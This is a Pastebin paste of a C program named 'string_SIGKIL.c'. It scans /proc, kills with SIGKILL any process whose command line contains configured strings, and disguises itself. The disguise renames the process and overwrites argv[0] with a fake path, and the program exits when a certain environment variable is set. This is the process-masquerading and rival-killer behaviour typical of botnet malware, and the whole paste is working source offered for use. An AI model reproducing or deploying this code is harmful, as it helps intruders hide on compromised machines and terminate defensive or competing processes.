Advertisement
linux

string_SIGKIL.c

Jul 16th, 2018
150
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 2.33 KB | None | 0 0
  1. /*
  2.     Process SIGKIL Sender.
  3.  How to define strings
  4. Locate this code segment in main.c
  5.           const char* bad_strings[] = {
  6.             "killstring",
  7.             "killstring",
  8.             "killstring"
  9.             // DONT REMOVE LAST STRING ","
  10.             };
  11.  
  12. */
  13. #include "main.h"
  14.  
  15. static bool killah_is_pid(char* pid) {
  16.   size_t len = strlen(pid);
  17.   for (size_t i = 0; i < len; i++) {
  18.     if (!isdigit(pid[i])) {
  19.       return false;
  20.     }
  21.   }
  22.  
  23.   return true;
  24. }
  25.  
  26. static void killah_god_mode(char** argv, char** envp) {
  27.   size_t name_sz = strlen(argv[0]);
  28.  
  29.   chdir(FAKE_PATH);
  30.   setpriority(PRIO_PROCESS, 0, 19);
  31.   prctl(PR_SET_NAME, FAKE_PATH, NULL, NULL, NULL);
  32.  
  33.   strncpy(argv[0], FAKE_PATH, sizeof(FAKE_PATH));
  34.  
  35.   for (char** env_node = envp; *env_node != 0; env_node++) {
  36.     if (strncmp(*env_node, BAD_ENV, sizeof(BAD_ENV)) == 0) {
  37.       exit(EXIT_FAILURE);
  38.     }
  39.   }
  40. }
  41.  
  42. static bool killah_check_proc(pid_t pid) {
  43.   bool str_found = false;
  44.  
  45.   const char* bad_strings[] = {
  46.     "killstring",
  47.     "killstring",
  48.     "killstring"
  49.     // DONT REMOVE LAST STRING ","
  50.   };
  51.  
  52.   char cmd_path[PATH_MAX], cmd_line[CMD_BUF];
  53.   memset(cmd_path, 0, sizeof(cmd_path));
  54.   memset(cmd_line, 0, sizeof(cmd_line));
  55.  
  56.   if (snprintf(cmd_path, PATH_MAX - 1, "/proc/%d/cmdline", pid) < 0) {
  57.     return false;
  58.   }
  59.  
  60.   int fd = open(cmd_path, O_RDONLY);
  61.   if (fd < 0) {
  62.     return false;
  63.   }
  64.  
  65.   if (read(fd, cmd_line, CMD_BUF - 1) < 0) {
  66.     close(fd);
  67.   }
  68.  
  69.   for (uint8_t i = 0; i < ARRAY_SIZE(bad_strings); i++) {
  70.     if (strstr(cmd_line, bad_strings[i]) != NULL) {
  71.       str_found = true;
  72.       break;
  73.     }
  74.   }
  75.  
  76.   close(fd);
  77.   return str_found;
  78. }
  79.  
  80. static void killah_kill_bad() {
  81.   DIR* current_dir = opendir("/proc/");
  82.   if (current_dir != NULL) {
  83.     struct dirent* dir_info = NULL;
  84.     while ((dir_info = readdir(current_dir)) != NULL) {
  85.       if (dir_info->d_type == DT_DIR) {
  86.         if (killah_is_pid(dir_info->d_name)) {
  87.           pid_t proc_id = strtoul(dir_info->d_name, NULL, 0);
  88.           if (proc_id > 0) {
  89.             if (killah_check_proc(proc_id)) {
  90.               kill(proc_id, 9);
  91.             }
  92.           }
  93.         }
  94.       }
  95.     }
  96.  
  97.     closedir(current_dir);
  98.   }
  99. }
  100.  
  101. int main(int argc, char** argv, char** envp) {
  102.   killah_god_mode(argv, envp);
  103.   killah_kill_bad();
  104.   return 0;
  105. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement